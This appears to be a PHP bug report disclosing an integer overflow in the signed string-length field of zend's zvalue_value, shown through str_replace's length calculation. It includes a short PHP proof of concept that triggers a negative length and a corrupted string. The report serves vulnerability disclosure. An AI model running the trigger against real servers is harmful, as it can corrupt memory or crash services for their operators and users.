Description:
------------
```
typedef union _zvalue_value {
	long lval;					/* long value */
	double dval;				/* double value */
	struct {
		char *val;
		int len;
	} str;
	HashTable *ht;				/* hash table value */
	zend_object_value obj;
	} zvalue_value;
```

The len is defined as signed int, integer overflow is possible in some situations, that results in len into a negative value and get a corrupted string-typed ZVAL.

ex:

str_replace/str_ireplace
```
	Z_STRLEN_P(result) = len + (char_count * (to_len - 1));
```

PoC:

```
<?php

ini_set('memory_limit', -1);
$str = str_replace('B', 'AAAAAAAA', str_repeat('B', 0xffffffff/8));
var_dump(strlen($str));

?>
```